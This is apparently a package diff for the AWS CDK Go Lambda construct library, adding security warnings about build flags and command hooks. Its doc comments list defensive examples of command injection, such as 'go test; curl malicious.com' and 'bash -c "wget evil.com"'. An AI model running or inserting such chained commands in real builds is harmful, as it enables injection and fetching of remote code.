UyxFQUFFLFFBQVEsQ0FBQyxDQUFDLEVBQUUsQ0FBQztvQkFDaEUsTUFBTSxJQUFJLEtBQUssQ0FBQyxrQkFBa0IsS0FBSyxDQUFDLFNBQVMsZ0JBQWdCLENBQUMsQ0FBQztnQkFDckUsQ0FBQztnQkFDRCxTQUFTLEdBQUcsS0FBSyxDQUFDLFNBQVMsQ0FBQztZQUM5QixDQUFDO2lCQUFNLENBQUM7Z0JBQ04sTUFBTSxPQUFPLEdBQUcsSUFBQSxhQUFNLEVBQUMsUUFBUSxFQUFFLEtBQUssQ0FBQyxDQUFDO2dCQUN4QyxJQUFJLENBQUMsT0FBTyxFQUFFLENBQUM7b0JBQ2IsTUFBTSxJQUFJLEtBQUssQ0FBRSx5REFBeUQsQ0FBQyxDQUFDO2dCQUM5RSxDQUFDO2dCQUNELFNBQVMsR0FBRyxPQUFPLENBQUM7WUFDdEIsQ0FBQztZQUVELE1BQU0sT0FBTyxHQUFHLEtBQUssQ0FBQyxPQUFPLElBQUksTUFBTSxDQUFDLE9BQU8sQ0FBQyxZQUFZLENBQUM7WUFDN0QsTUFBTSxZQUFZLEdBQUcsS0FBSyxDQUFDLFlBQVksSUFBSSxNQUFNLENBQUMsWUFBWSxDQUFDLE1BQU0sQ0FBQztZQUV0RSw0REFBNEQ7WUFDNUQsSUFBSSxLQUFLLENBQUMsUUFBUSxFQUFFLFlBQVksRUFBRSxNQUFNLEVBQUUsQ0FBQztnQkFDekMsR0FBRyxDQUFDLFdBQVcsQ0FBQyxFQUFFLENBQUMsS0FBSyxDQUFDLENBQUMsWUFBWSxDQUNwQywwREFBMEQsRUFDMUQsMEtBQTBLLENBQzNLLENBQUM7WUFDSixDQUFDO1lBRUQsSUFBSSxLQUFLLENBQUMsUUFBUSxFQUFFLFlBQVksRUFBRSxjQUFjLElBQUksS0FBSyxDQUFDLFFBQVEsRUFBRSxZQUFZLEVBQUUsYUFBYSxFQUFFLENBQUM7Z0JBQ2hHLEdBQUcsQ0FBQyxXQUFXLENBQUMsRUFBRSxDQUFDLEtBQUssQ0FBQyxDQUFDLFlBQVksQ0FDcEMsMERBQTBELEVBQzFELDZLQUE2SyxDQUM5SyxDQUFDO1lBQ0osQ0FBQztZQUVELEtBQUssQ0FBQyxLQUFLLEVBQUUsRUFBRSxFQUFFO2dCQUNmLEdBQUcsS0FBSztnQkFDUixPQUFPO2dCQUNQLElBQUksRUFBRSxtQkFBUSxDQUFDLE1BQU0sQ0FBQztvQkFDcEIsR0FBRyxLQUFLLENBQUMsUUFBUSxJQUFJLEVBQUU7b0JBQ3ZCLEtBQUs7b0JBQ0wsT0FBTztvQkFDUCxZQUFZO29CQUNaLFNBQVM7aUJBQ1YsQ0FBQztnQkFDRixPQUFPLEVBQUUsV0FBVyxFQUFFLDRFQUE0RTthQUNuRyxDQUFDLENBQUM7WUFFSCxtQ0FBbUM7WUFDbkMsSUFBQSx3Q0FBb0IsRUFBQyxJQUFJLEVBQUUsS0FBSyxDQUFDLENBQUM7U0FDbkM7O1lBdEVVLHVEQUFVOzs7OztBQUFWLGdDQUFVIiwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0ICogYXMgZnMgZnJvbSAnZnMnO1xuaW1wb3J0ICogYXMgcGF0aCBmcm9tICdwYXRoJztcbmltcG9ydCAqIGFzIGxhbWJkYSBmcm9tICdhd3MtY2RrLWxpYi9hd3MtbGFtYmRhJztcbmltcG9ydCAqIGFzIGNkayBmcm9tICdhd3MtY2RrLWxpYi9jb3JlJztcbmltcG9ydCB7IENvbnN0cnVjdCB9IGZyb20gJ2NvbnN0cnVjdHMnO1xuaW1wb3J0IHsgQnVuZGxpbmcgfSBmcm9tICcuL2J1bmRsaW5nJztcbmltcG9ydCB7IEJ1bmRsaW5nT3B0aW9ucyB9IGZyb20gJy4vdHlwZXMnO1xuaW1wb3J0IHsgZmluZFVwIH0gZnJvbSAnLi91dGlsJztcbmltcG9ydCB7IGFkZENvbnN0cnVjdE1ldGFkYXRhIH0gZnJvbSAnYXdzLWNkay1saWIvY29yZS9saWIvbWV0YWRhdGEtcmVzb3VyY2UnO1xuaW1wb3J0IHsgcHJvcGVydHlJbmplY3RhYmxlIH0gZnJvbSAnYXdzLWNkay1saWIvY29yZS9saWIvcHJvcC1pbmplY3RhYmxlJztcblxuLyoqXG4gKiBQcm9wZXJ0aWVzIGZvciBhIEdvbGFuZ0Z1bmN0aW9uXG4gKi9cbmV4cG9ydCBpbnRlcmZhY2UgR29GdW5jdGlvblByb3BzIGV4dGVuZHMgbGFtYmRhLkZ1bmN0aW9uT3B0aW9ucyB7XG4gIC8qKlxuICAgKiBUaGUgcGF0aCB0byB0aGUgZm9sZGVyIG9yIGZpbGUgdGhhdCBjb250YWlucyB0aGUgbWFpbiBhcHBsaWNhdGlvbiBlbnRyeSBwb2ludCBmaWxlcyBmb3IgdGhlIHByb2plY3QuXG4gICAqXG4gICAqIFRoaXMgYWNjZXB0cyBlaXRoZXIgYSBwYXRoIHRvIGEgZGlyZWN0b3J5IG9yIGZpbGUuXG4gICAqXG4gICAqIElmIGEgZGlyZWN0b3J5IHBhdGggaXMgcHJvdmlkZWQgdGhlbiBpdCB3aWxsIGFzc3VtZSB0aGVyZSBpcyBhIEdvIGVudHJ5IGZpbGUgKGkuZS4gYG1haW4uZ29gKSBhbmRcbiAgICogd2lsbCBjb25zdHJ1Y3QgdGhlIGJ1aWxkIGNvbW1hbmQgdXNpbmcgdGhlIGRpcmVjdG9yeSBwYXRoLlxuICAgKlxuICAgKiBGb3IgZXhhbXBsZSwgaWYgeW91IHByb3ZpZGUgdGhlIGVudHJ5IGFzOlxuICAgKlxuICAgKiAgICAgZW50cnk6ICdteS1sYW1iZGEtYXBwL2NtZC9hcGknXG4gICAqXG4gICAqIFRoZW4gdGhlIGBnbyBidWlsZGAgY29tbWFuZCB3b3VsZCBiZTpcbiAgICpcbiAgICogICAgIGBnbyBidWlsZCAuL2NtZC9hcGlgXG4gICAqXG4gICAqIElmIGEgcGF0aCB0byBhIGZpbGUgaXMgcHJvdmlkZWQgdGhlbiBpdCB3aWxsIHVzZSB0aGUgZmlsZXBhdGggaW4gdGhlIGJ1aWxkIGNvbW1hbmQuXG4gICAqXG4gICAqIEZvciBleGFtcGxlLCBpZiB5b3UgcHJvdmlkZSB0aGUgZW50cnkgYXM6XG4gICAqXG4gICAqICAgICBlbnRyeTogJ215LWxhbWJkYS1hcHAvY21kL2FwaS9tYWluLmdvJ1xuICAgKlxuICAgKiBUaGVuIHRoZSBgZ28gYnVpbGRgIGNvbW1hbmQgd291bGQgYmU6XG4gICAqXG4gICAqICAgICBgZ28gYnVpbGQgLi9jbWQvYXBpL21haW4uZ29gXG4gICAqL1xuICByZWFkb25seSBlbnRyeTogc3RyaW5nO1xuXG4gIC8qKlxuICAgKiBUaGUgcnVudGltZSBlbnZpcm9ubWVudC4gT25seSBydW50aW1lcyBvZiB0aGUgR29sYW5nIGZhbWlseSBhbmQgcHJvdmlkZWQgZmFtaWx5IGFyZSBzdXBwb3J0ZWQuXG4gICAqXG4gICAqIEBkZWZhdWx0IGxhbWJkYS5SdW50aW1lLlBST1ZJREVEX0FMMlxuICAgKi9cbiAgcmVhZG9ubHkgcnVudGltZT86IGxhbWJkYS5SdW50aW1lO1xuXG4gIC8qKlxuICAgKiBEaXJlY3RvcnkgY29udGFpbmluZyB5b3VyIGdvLm1vZCBmaWxlXG4gICAqXG4gICAqIFRoaXMgd2lsbCBhY2NlcHQgZWl0aGVyIGEgZGlyZWN0b3J5IHBhdGggY29udGFpbmluZyBhIGBnby5tb2RgIGZpbGVcbiAgICogb3IgYSBmaWxlcGF0aCB0byB5b3VyIGBnby5tb2RgIGZpbGUgKGkuZS4gYHBhdGgvdG8vZ28ubW9kYCkuXG4gICAqXG4gICAqIFRoaXMgd2lsbCBiZSB1c2VkIGFzIHRoZSBzb3VyY2Ugb2YgdGhlIHZvbHVtZSBtb3VudGVkIGluIHRoZSBEb2NrZXJcbiAgICogY29udGFpbmVyIGFuZCB3aWxsIGJlIHRoZSBkaXJlY3Rvcnkgd2hlcmUgaXQgd2lsbCBydW4gYGdvIGJ1aWxkYCBmcm9tLlxuICAgKlxuICAgKiBAZGVmYXVsdCAtIHRoZSBwYXRoIGlzIGZvdW5kIGJ5IHdhbGtpbmcgdXAgcGFyZW50IGRpcmVjdG9yaWVzIHNlYXJjaGluZyBmb3JcbiAgICogIGEgYGdvLm1vZGAgZmlsZSBmcm9tIHRoZSBsb2NhdGlvbiBvZiBgZW50cnlgXG4gICAqL1xuICByZWFkb25seSBtb2R1bGVEaXI/OiBzdHJpbmc7XG5cbiAgLyoqXG4gICAqIEJ1bmRsaW5nIG9wdGlvbnNcbiAgICpcbiAgICogQGRlZmF1bHQgLSB1c2UgZGVmYXVsdCBidW5kbGluZyBvcHRpb25zXG4gICAqL1xuICByZWFkb25seSBidW5kbGluZz86IEJ1bmRsaW5nT3B0aW9ucztcbn1cblxuLyoqXG4gKiBBIEdvbGFuZyBMYW1iZGEgZnVuY3Rpb25cbiAqL1xuQHByb3BlcnR5SW5qZWN0YWJsZVxuZXhwb3J0IGNsYXNzIEdvRnVuY3Rpb24gZXh0ZW5kcyBsYW1iZGEuRnVuY3Rpb24ge1xuICAvKiogVW5pcXVlbHkgaWRlbnRpZmllcyB0aGlzIGNsYXNzLiAqL1xuICBwdWJsaWMgc3RhdGljIHJlYWRvbmx5IFBST1BFUlRZX0lOSkVDVElPTl9JRDogc3RyaW5nID0gJ0Bhd3MtY2RrLmF3cy1sYW1iZGEtZ28tYWxwaGEuR29GdW5jdGlvbic7XG4gIC8qKlxuICAgKiBUaGUgYWRkcmVzcyBvZiB0aGUgR29vZ2xlIEdvIHByb3h5XG4gICAqL1xuICBwdWJsaWMgc3RhdGljIHJlYWRvbmx5IEdPT0dMRV9HT1BST1hZID0gJ2h0dHBzOi8vcHJveHkuZ29sYW5nLm9yZyc7XG5cbiAgY29uc3RydWN0b3Ioc2NvcGU6IENvbnN0cnVjdCwgaWQ6IHN0cmluZywgcHJvcHM6IEdvRnVuY3Rpb25Qcm9wcykge1xuICAgIGlmIChwcm9wcy5ydW50aW1lICYmIChwcm9wcy5ydW50aW1lLmZhbWlseSAhPT0gbGFtYmRhLlJ1bnRpbWVGYW1pbHkuR08gJiYgcHJvcHMucnVudGltZS5mYW1pbHkgIT0gbGFtYmRhLlJ1bnRpbWVGYW1pbHkuT1RIRVIpKSB7XG4gICAgICB0aHJvdyBuZXcgRXJyb3IoJ09ubHkgYGdvYCBhbmQgYHByb3ZpZGVkYCBydW50aW1lcyBhcmUgc3VwcG9ydGVkLicpO1xuICAgIH1cblxuICAgIGNvbnN0IGVudHJ5ID0gcGF0aC5yZXNvbHZlKHByb3BzLmVudHJ5KTtcblxuICAgIC8vIEZpbmQgdGhlIHByb2plY3Qgcm9vdFxuICAgIGxldCBtb2R1bGVEaXI6IHN0cmluZztcbiAgICBpZiAocHJvcHMubW9kdWxlRGlyKSB7XG4gICAgICBjb25zdCBwYXJzZWRNb2R1bGVEaXIgPSBwYXRoLnBhcnNlKHByb3BzLm1vZHVsZURpcik7XG4gICAgICBpZiAocGFyc2VkTW9kdWxlRGlyLmJhc2UgJiYgcGFyc2VkTW9kdWxlRGlyLmV4dCAmJiBwYXJzZWRNb2R1bGVEaXIuYmFzZSA9PT0gJ2dvLm1vZCcpIHtcbiAgICAgICAgaWYgKCFmcy5leGlzdHNTeW5jKHByb3BzLm1vZHVsZURpcikpIHtcbiAgICAgICAgICB0aHJvdyBuZXcgRXJyb3IoYGdvLm1vZCBmaWxlIGF0ICR7cHJvcHMubW9kdWxlRGlyfSBkb2Vzbid0IGV4aXN0YCk7XG4gICAgICAgIH1cbiAgICAgIH0gZWxzZSBpZiAocGFyc2VkTW9kdWxlRGlyLmJhc2UgJiYgcGFyc2VkTW9kdWxlRGlyLmV4dCAmJiBwYXJzZWRNb2R1bGVEaXIuYmFzZSAhPSAnZ28ubW9kJykge1xuICAgICAgICB0aHJvdyBuZXcgRXJyb3IoJ21vZHVsZURpciBpcyBzcGVjaWZ5aW5nIGEgZmlsZSB0aGF0IGlzIG5vdCBnby5tb2QnKTtcbiAgICAgIH0gZWxzZSBpZiAoIWZzLmV4aXN0c1N5bmMocGF0aC5qb2luKHByb3BzLm1vZHVsZURpciwgJ2dvLm1vZCcpKSkge1xuICAgICAgICB0aHJvdyBuZXcgRXJyb3IoYGdvLm1vZCBmaWxlIGF0ICR7cHJvcHMubW9kdWxlRGlyfSBkb2Vzbid0IGV4aXN0YCk7XG4gICAgICB9XG4gICAgICBtb2R1bGVEaXIgPSBwcm9wcy5tb2R1bGVEaXI7XG4gICAgfSBlbHNlIHtcbiAgICAgIGNvbnN0IG1vZEZpbGUgPSBmaW5kVXAoJ2dvLm1vZCcsIGVudHJ5KTtcbiAgICAgIGlmICghbW9kRmlsZSkge1xuICAgICAgICB0aHJvdyBuZXcgRXJyb3IgKCdDYW5ub3QgZmluZCBnby5tb2QuIFBsZWFzZSBzcGVjaWZ5IGl0IHdpdGggYG1vZHVsZURpcmAuJyk7XG4gICAgICB9XG4gICAgICBtb2R1bGVEaXIgPSBtb2RGaWxlO1xuICAgIH1cblxuICAgIGNvbnN0IHJ1bnRpbWUgPSBwcm9wcy5ydW50aW1lID8/IGxhbWJkYS5SdW50aW1lLlBST1ZJREVEX0FMMjtcbiAgICBjb25zdCBhcmNoaXRlY3R1cmUgPSBwcm9wcy5hcmNoaXRlY3R1cmUgPz8gbGFtYmRhLkFyY2hpdGVjdHVyZS5YODZfNjQ7XG5cbiAgICAvLyBTZWN1cml0eSB3YXJuaW5ncyBmb3IgcG90ZW50aWFsbHkgdW5zYWZlIGJ1bmRsaW5nIG9wdGlvbnNcbiAgICBpZiAocHJvcHMuYnVuZGxpbmc/LmdvQnVpbGRGbGFncz8ubGVuZ3RoKSB7XG4gICAgICBjZGsuQW5ub3RhdGlvbnMub2Yoc2NvcGUpLmFkZFdhcm5pbmdWMihcbiAgICAgICAgJ0Bhd3MtY2RrL2F3cy1sYW1iZGEtZ28tYWxwaGE6Z29CdWlsZEZsYWdzU2VjdXJpdHlXYXJuaW5nJyxcbiAgICAgICAgJ2dvQnVpbGRGbGFncyBjYW4gZXhlY3V0ZSBhcmJpdHJhcnkgY29tbWFuZHMgZHVyaW5nIGJ1bmRsaW5nLiBFbnN1cmUgYWxsIGZsYWdzIGNvbWUgZnJvbSB0cnVzdGVkIHNvdXJjZXMuIFNlZTogaHR0cHM6Ly9kb2NzLmF3cy5hbWF6b24uY29tL2Nkay9sYXRlc3QvZ3VpZGUvc2VjdXJpdHkuaHRtbCcsXG4gICAgICApO1xuICAgIH1cblxuICAgIGlmIChwcm9wcy5idW5kbGluZz8uY29tbWFuZEhvb2tzPy5iZWZvcmVCdW5kbGluZyB8fCBwcm9wcy5idW5kbGluZz8uY29tbWFuZEhvb2tzPy5hZnRlckJ1bmRsaW5nKSB7XG4gICAgICBjZGsuQW5ub3RhdGlvbnMub2Yoc2NvcGUpLmFkZFdhcm5pbmdWMihcbiAgICAgICAgJ0Bhd3MtY2RrL2F3cy1sYW1iZGEtZ28tYWxwaGE6Y29tbWFuZEhvb2tzU2VjdXJpdHlXYXJuaW5nJyxcbiAgICAgICAgJ2NvbW1hbmRIb29rcyBjYW4gZXhlY3V0ZSBhcmJpdHJhcnkgY29tbWFuZHMgZHVyaW5nIGJ1bmRsaW5nLiBFbnN1cmUgYWxsIGNvbW1hbmRzIGNvbWUgZnJvbSB0cnVzdGVkIHNvdXJjZXMuIFNlZTogaHR0cHM6Ly9kb2NzLmF3cy5hbWF6b24uY29tL2Nkay9sYXRlc3QvZ3VpZGUvc2VjdXJpdHkuaHRtbCcsXG4gICAgICApO1xuICAgIH1cblxuICAgIHN1cGVyKHNjb3BlLCBpZCwge1xuICAgICAgLi4ucHJvcHMsXG4gICAgICBydW50aW1lLFxuICAgICAgY29kZTogQnVuZGxpbmcuYnVuZGxlKHtcbiAgICAgICAgLi4ucHJvcHMuYnVuZGxpbmcgPz8ge30sXG4gICAgICAgIGVudHJ5LFxuICAgICAgICBydW50aW1lLFxuICAgICAgICBhcmNoaXRlY3R1cmUsXG4gICAgICAgIG1vZHVsZURpcixcbiAgICAgIH0pLFxuICAgICAgaGFuZGxlcjogJ2Jvb3RzdHJhcCcsIC8vIHNldHRpbmcgbmFtZSB0byBib290c3RyYXAgc28gdGhhdCB0aGUgJ3Byb3ZpZGVkJyBydW50aW1lIGNhbiBhbHNvIGJlIHVzZWRcbiAgICB9KTtcblxuICAgIC8vIEVuaGFuY2VkIENESyBBbmFseXRpY3MgVGVsZW1ldHJ5XG4gICAgYWRkQ29uc3RydWN0TWV0YWRhdGEodGhpcywgcHJvcHMpO1xuICB9XG59XG5cbiJdfQ==
package/lib/types.d.ts CHANGED
@@ -22,6 +22,11 @@ export interface BundlingOptions extends DockerRunOptions {
22
22
  * For example:
23
23
  * ['ldflags "-s -w"']
24
24
  *
25
+ * ⚠️ **Security Warning**: These flags are passed directly to the Go build command.
26
+ * Only use trusted values as they can execute arbitrary commands during bundling.
27
+ * Avoid flags like `-toolexec` with untrusted arguments, and be cautious with
28
+ * third-party CDK constructs that may contain malicious build flags.
29
+ *
25
30
  * @default - none
26
31
  */
27
32
  readonly goBuildFlags?: string[];
@@ -72,6 +77,10 @@ export interface BundlingOptions extends DockerRunOptions {
72
77
  /**
73
78
  * Command hooks
74
79
  *
80
+ * ⚠️ **Security Warning**: Commands are executed directly in the shell environment.
81
+ * Only use trusted commands from verified sources. Avoid shell metacharacters
82
+ * that could enable command injection attacks.
83
+ *
75
84
  * @default - do not run additional commands
76
85
  */
77
86
  readonly commandHooks?: ICommandHooks;
@@ -116,28 +125,48 @@ export interface BundlingOptions extends DockerRunOptions {
116
125
  * These commands will run in the environment in which bundling occurs: inside
117
126
  * the container for Docker bundling or on the host OS for local bundling.
118
127
  *
128
+ * ⚠️ **Security Warning**: Commands are executed directly in the shell environment.
129
+ * Only use trusted commands and avoid shell metacharacters that could enable
130
+ * command injection attacks.
131
+ *
132
+ * **Safe patterns (cross-platform):**
133
+ * - `go test ./...` - Standard Go commands work on all platforms
134
+ * - `go mod tidy` - Go module commands
135
+ * - `echo "Building"` - Simple output with quotes
136
+ * - `make clean` - Build tools (if available)
137
+ *
138
+ * **Dangerous patterns to avoid:**
139
+ *
140
+ * *Windows:*
141
+ * - `go test & curl.exe malicious.com` (command chaining)
142
+ * - `echo %USERPROFILE%` (environment variable expansion)
143
+ * - `powershell -Command "..."` (PowerShell execution)
144
+ *
145
+ * *Unix/Linux/macOS:*
146
+ * - `go test; curl malicious.com` (command chaining)
147
+ * - `echo $(whoami)` (command substitution)
148
+ * - `bash -c "wget evil.com"` (shell execution)
149
+ *
119
150
  * Commands are chained with `&&`.
120
151
  *
121
- * ```text
122
- * {
123
- * // Run tests prior to bundling
124
- * beforeBundling(inputDir: string, outputDir: string): string[] {
125
- * return [`go test -mod=vendor ./...`];
126
- * }
127
- * // ...
128
- * }
129
- * ```
152
+ * @see https://docs.aws.amazon.com/cdk/latest/guide/security.html
130
153
  */
131
154
  export interface ICommandHooks {
132
155
  /**
133
156
  * Returns commands to run before bundling.
134
157
  *
158
+ * ⚠️ **Security Warning**: Ensure commands come from trusted sources only.
159
+ * Commands are executed directly in the shell environment.
160
+ *
135
161
  * Commands are chained with `&&`.
136
162
  */
137
163
  beforeBundling(inputDir: string, outputDir: string): string[];
138
164
  /**
139
165
  * Returns commands to run after bundling.
140
166
  *
167
+ * ⚠️ **Security Warning**: Ensure commands come from trusted sources only.
168
+ * Commands are executed directly in the shell environment.
169
+ *
141
170
  * Commands are chained with `&&`.
142
171
  */
143
172
  afterBundling(inputDir: string, outputDir: string): string[];
package/lib/types.js CHANGED
@@ -1,3 +1,3 @@
1
1
  "use strict";
2
2
  Object.defineProperty(exports, "__esModule", { value: true });
3
- //# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoidHlwZXMuanMiLCJzb3VyY2VSb290IjoiIiwic291cmNlcyI6WyJ0eXBlcy50cyJdLCJuYW1lcyI6W10sIm1hcHBpbmdzIjoiIiwic291cmNlc0NvbnRlbnQiOlsiaW1wb3J0IHsgQXNzZXRIYXNoVHlwZSwgQnVuZGxpbmdGaWxlQWNjZXNzLCBEb2NrZXJJbWFnZSwgRG9ja2VyUnVuT3B0aW9ucyB9IGZyb20gJ2F3cy1jZGstbGliL2NvcmUnO1xuXG4vKipcbiAqIEJ1bmRsaW5nIG9wdGlvbnNcbiAqL1xuZXhwb3J0IGludGVyZmFjZSBCdW5kbGluZ09wdGlvbnMgZXh0ZW5kcyBEb2NrZXJSdW5PcHRpb25zIHtcbiAgLyoqXG4gICAqIEZvcmNlIGJ1bmRsaW5nIGluIGEgRG9ja2VyIGNvbnRhaW5lciBldmVuIGlmIGxvY2FsIGJ1bmRsaW5nIGlzXG4gICAqIHBvc3NpYmxlLlxuICAgKlxuICAgKiBAZGVmYXVsdCAtIGZhbHNlXG4gICAqL1xuICByZWFkb25seSBmb3JjZWREb2NrZXJCdW5kbGluZz86IGJvb2xlYW47XG5cbiAgLyoqXG4gICAqIEEgY3VzdG9tIGJ1bmRsaW5nIERvY2tlciBpbWFnZS5cbiAgICpcbiAgICogQGRlZmF1bHQgLSB1c2UgdGhlIERvY2tlciBpbWFnZSBwcm92aWRlZCBieSBAYXdzLWNkay9hd3MtbGFtYmRhLWdvLWFscGhhXG4gICAqL1xuICByZWFkb25seSBkb2NrZXJJbWFnZT86IERvY2tlckltYWdlO1xuXG4gIC8qKlxuICAgKiBMaXN0IG9mIGFkZGl0aW9uYWwgZmxhZ3MgdG8gdXNlIHdoaWxlIGJ1aWxkaW5nLlxuICAgKlxuICAgKiBGb3IgZXhhbXBsZTpcbiAgICogWydsZGZsYWdzIFwiLXMgLXdcIiddXG4gICAqXG4gICAqIEBkZWZhdWx0IC0gbm9uZVxuICAgKi9cbiAgcmVhZG9ubHkgZ29CdWlsZEZsYWdzPzogc3RyaW5nW107XG5cbiAgLyoqXG4gICAqIEJ1aWxkIGFyZ3VtZW50cyB0byBwYXNzIHdoZW4gYnVpbGRpbmcgdGhlIGJ1bmRsaW5nIGltYWdlLlxuICAgKlxuICAgKiBAZGVmYXVsdCAtIG5vIGJ1aWxkIGFyZ3VtZW50cyBhcmUgcGFzc2VkXG4gICAqL1xuICByZWFkb25seSBidWlsZEFyZ3M/OiB7IFtrZXk6c3RyaW5nXSA6IHN0cmluZyB9O1xuXG4gIC8qKlxuICAgKiBEZXRlcm1pbmVzIGhvdyB0aGUgYXNzZXQgaGFzaCBpcyBjYWxjdWxhdGVkLiBBc3NldHMgd2lsbFxuICAgKiBnZXQgcmVidWlsdCBhbmQgdXBsb2FkZWQgb25seSBpZiB0aGVpciBoYXNoIGhhcyBjaGFuZ2VkLlxuICAgKlxuICAgKiBJZiB0aGUgYXNzZXQgaGFzaCBpcyBzZXQgdG8gYE9VVFBVVGAgKGRlZmF1bHQpLCB0aGUgaGFzaCBpcyBjYWxjdWxhdGVkXG4gICAqIGFmdGVyIGJ1bmRsaW5nLiBUaGlzIG1lYW5zIHRoYXQgYW55IGNoYW5nZSBpbiB0aGUgb3V0cHV0IHdpbGwgY2F1c2VcbiAgICogdGhlIGFzc2V0IHRvIGJlIGludmFsaWRhdGVkIGFuZCB1cGxvYWRlZC4gQmVhciBpbiBtaW5kIHRoYXQgdGhlXG4gICAqIGdvIGJpbmFyeSB0aGF0IGlzIG91dHB1dCBjYW4gYmUgZGlmZmVyZW50IGRlcGVuZGluZyBvbiB0aGUgZW52aXJvbm1lbnRcbiAgICogdGhhdCBpdCB3YXMgY29tcGlsZWQgaW4uIElmIHlvdSB3YW50IHRvIGNvbnRyb2wgd2hlbiB0aGUgb3V0cHV0IGlzIGNoYW5nZWRcbiAgICogaXQgaXMgcmVjb21tZW5kZWQgdGhhdCB5b3UgdXNlIGltbXV0YWJsZSBidWlsZCBpbWFnZXMgc3VjaCBhc1xuICAgKiBgcHVibGljLmVjci5hd3MvYml0bmFtaS9nb2xhbmc6MS4xNi4zLWRlYmlhbi0xMC1yMTZgLlxuICAgKlxuICAgKiBJZiB0aGUgYXNzZXQgaGFzaCBpcyBzZXQgdG8gYFNPVVJDRWAsIHRoZW4gb25seSBjaGFuZ2VzIHRvIHRoZSBzb3VyY2VcbiAgICogZGlyZWN0b3J5IHdpbGwgY2F1c2UgdGhlIGFzc2V0IHRvIHJlYnVpbGQuIElmIHlvdXIgZ28gcHJvamVjdCBoYXMgbXVsdGlwbGVcbiAgICogTGFtYmRhIGZ1bmN0aW9ucyB0aGlzIG1lYW5zIHRoYXQgYW4gdXBkYXRlIHRvIGFueSBvbmUgZnVuY3Rpb24gY291bGQgY2F1c2VcbiAgICogYWxsIHRoZSBmdW5jdGlvbnMgdG8gYmUgcmVidWlsdCBhbmQgdXBsb2FkZWQuXG4gICAqXG4gICAqIEBkZWZhdWx0IC0gQXNzZXRIYXNoVHlwZS5PVVRQVVQuIElmIGBhc3NldEhhc2hgIGlzIGFsc28gc3BlY2lmaWVkLFxuICAgKiB0aGUgZGVmYXVsdCBpcyBgQ1VTVE9NYC5cbiAgICovXG4gIHJlYWRvbmx5IGFzc2V0SGFzaFR5cGU/OiBBc3NldEhhc2hUeXBlO1xuXG4gIC8qKlxuICAgKiBTcGVjaWZ5IGEgY3VzdG9tIGhhc2ggZm9yIHRoaXMgYXNzZXQuIElmIGBhc3NldEhhc2hUeXBlYCBpcyBzZXQgaXQgbXVzdFxuICAgKiBiZSBzZXQgdG8gYEFzc2V0SGFzaFR5cGUuQ1VTVE9NYC4gRm9yIGNvbnNpc3RlbmN5LCB0aGlzIGN1c3RvbSBoYXNoIHdpbGxcbiAgICogYmUgU0hBMjU2IGhhc2hlZCBhbmQgZW5jb2RlZCBhcyBoZXguIFRoZSByZXN1bHRpbmcgaGFzaCB3aWxsIGJlIHRoZSBhc3NldFxuICAgKiBoYXNoLlxuICAgKlxuICAgKiBOT1RFOiB0aGUgaGFzaCBpcyB1c2VkIGluIG9yZGVyIHRvIGlkZW50aWZ5IGEgc3BlY2lmaWMgcmV2aXNpb24gb2YgdGhlIGFzc2V0LCBhbmRcbiAgICogdXNlZCBmb3Igb3B0aW1pemluZyBhbmQgY2FjaGluZyBkZXBsb3ltZW50IGFjdGl2aXRpZXMgcmVsYXRlZCB0byB0aGlzIGFzc2V0IHN1Y2ggYXNcbiAgICogcGFja2FnaW5nLCB1cGxvYWRpbmcgdG8gQW1hem9uIFMzLCBldGMuIElmIHlvdSBjaG9zZSB0byBjdXN0b21pemUgdGhlIGhhc2gsIHlvdSB3aWxsXG4gICAqIG5lZWQgdG8gbWFrZSBzdXJlIGl0IGlzIHVwZGF0ZWQgZXZlcnkgdGltZSB0aGUgYXNzZXQgY2hhbmdlcywgb3Igb3RoZXJ3aXNlIGl0IGlzXG4gICAqIHBvc3NpYmxlIHRoYXQgc29tZSBkZXBsb3ltZW50cyB3aWxsIG5vdCBiZSBpbnZhbGlkYXRlZC5cbiAgICpcbiAgICogQGRlZmF1bHQgLSBiYXNlZCBvbiBgYXNzZXRIYXNoVHlwZWBcbiAgICovXG4gIHJlYWRvbmx5IGFzc2V0SGFzaD86IHN0cmluZztcblxuICAvKipcbiAgICogQ29tbWFuZCBob29rc1xuICAgKlxuICAgKiBAZGVmYXVsdCAtIGRvIG5vdCBydW4gYWRkaXRpb25hbCBjb21tYW5kc1xuICAgKi9cbiAgcmVhZG9ubHkgY29tbWFuZEhvb2tzPzogSUNvbW1hbmRIb29rcztcblxuICAvKipcbiAgICogV2hldGhlciBvciBub3QgdG8gZW5hYmxlIGNnbyBkdXJpbmcgZ28gYnVpbGRcbiAgICpcbiAgICogVGhpcyB3aWxsIHNldCB0aGUgQ0dPX0VOQUJMRUQgZW52aXJvbm1lbnQgdmFyaWFibGVcbiAgICpcbiAgICogQGRlZmF1bHQgLSBmYWxzZVxuICAgKi9cbiAgcmVhZG9ubHkgY2dvRW5hYmxlZD86IGJvb2xlYW47XG5cbiAgLyoqXG4gICAqIFdoYXQgR28gcHJveGllcyB0byB1c2UgdG8gZmV0Y2ggdGhlIHBhY2thZ2VzIGludm9sdmVkIGluIHRoZSBidWlsZFxuICAgKlxuICAgKiBQYXNzIGEgbGlzdCBvZiBwcm94eSBhZGRyZXNzZXMgaW4gb3JkZXIsIGFuZC9vciB0aGUgc3RyaW5nIGAnZGlyZWN0J2AgdG9cbiAgICogYXR0ZW1wdCBkaXJlY3QgYWNjZXNzLlxuICAgKlxuICAgKiBCeSBkZWZhdWx0IHRoaXMgY29uc3RydWN0IHVzZXMgbm8gcHJveGllcywgYnV0IGEgc3RhbmRhcmQgR28gaW5zdGFsbCB3b3VsZFxuICAgKiB1c2UgdGhlIEdvb2dsZSBwcm94eSBieSBkZWZhdWx0LiBUbyByZWNyZWF0ZSB0aGF0IGJlaGF2aW9yLCBkbyB0aGUgZm9sbG93aW5nOlxuICAgKlxuICAgKiBgYGB0c1xuICAgKiBuZXcgZ28uR29GdW5jdGlvbih0aGlzLCAnR29GdW5jdGlvbicsIHtcbiAgICogICBlbnRyeTogJ2FwcC9jbWQvYXBpJyxcbiAgICogICBidW5kbGluZzoge1xuICAgKiAgICAgZ29Qcm94aWVzOiBbZ28uR29GdW5jdGlvbi5HT09HTEVfR09QUk9YWSwgJ2RpcmVjdCddLFxuICAgKiAgIH0sXG4gICAqIH0pO1xuICAgKiBgYGBcbiAgICpcbiAgICogQGRlZmF1bHQgLSBEaXJlY3QgYWNjZXNzXG4gICAqL1xuICByZWFkb25seSBnb1Byb3hpZXM/OiBzdHJpbmdb